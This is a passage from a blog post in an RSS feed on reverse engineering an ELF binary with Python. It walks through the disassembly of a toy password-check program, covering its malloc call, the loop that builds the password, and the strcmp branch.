1086<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1087
1088<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1089
1090<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1091
1092<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1093
1094<pre><code>printf 0x650
1095fgets  0x660
1096strcmp 0x670
1097malloc 0x680
1098</code></pre>
1099
1100<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1101
1102<pre><code>0x7b2: mov edi, 0xa  ; 10
11030x7b7: call 0x680    ; malloc
1104</code></pre>
1105
1106<p>The loop to populate the <code>*pw</code> string</p>
1107
1108<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
11090x7d3:  cdqe    
11100x7d5:  lea     rdx, [rax - 1]
11110x7d9:  mov     rax, qword ptr [rbp - 0x10]
11120x7dd:  add     rax, rdx
11130x7e0:  movzx   eax, byte ptr [rax]
11140x7e3:  lea     ecx, [rax + 1]
11150x7e6:  mov     eax, dword ptr [rbp - 0x14]
11160x7e9:  movsxd  rdx, eax
11170x7ec:  mov     rax, qword ptr [rbp - 0x10]
11180x7f0:  add     rax, rdx
11190x7f3:  mov     edx, ecx
11200x7f5:  mov     byte ptr [rax], dl
11210x7f7:  add     dword ptr [rbp - 0x14], 1
11220x7fb:  cmp     dword ptr [rbp - 0x14], 8
11230x7ff:  jle     0x7d0
1124</code></pre>
1125
1126<p>And this looks like our <code>strcmp()</code></p>
1127
1128<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
11290x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
11300x84b:  mov     rsi, rdx             
11310x84e:  mov     rdi, rax
11320x851:  call    0x670                       ; strcmp  
11330x856:  test    eax, eax                    ; is = 0? 
11340x858:  jne     0x868                       ; no? jump to 0x868
11350x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
11360x861:  call    0x640                       ; puts
11370x866:  jmp     0x874
11380x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
11390x86f:  call    0x640                       ; puts  
1140</code></pre>
1141
1142<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1143
1144<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1145
1146<h3 id="conclusion">Conclusion</h3>
1147
1148<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1149
1150<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1151
1152<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1153]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1154</rss>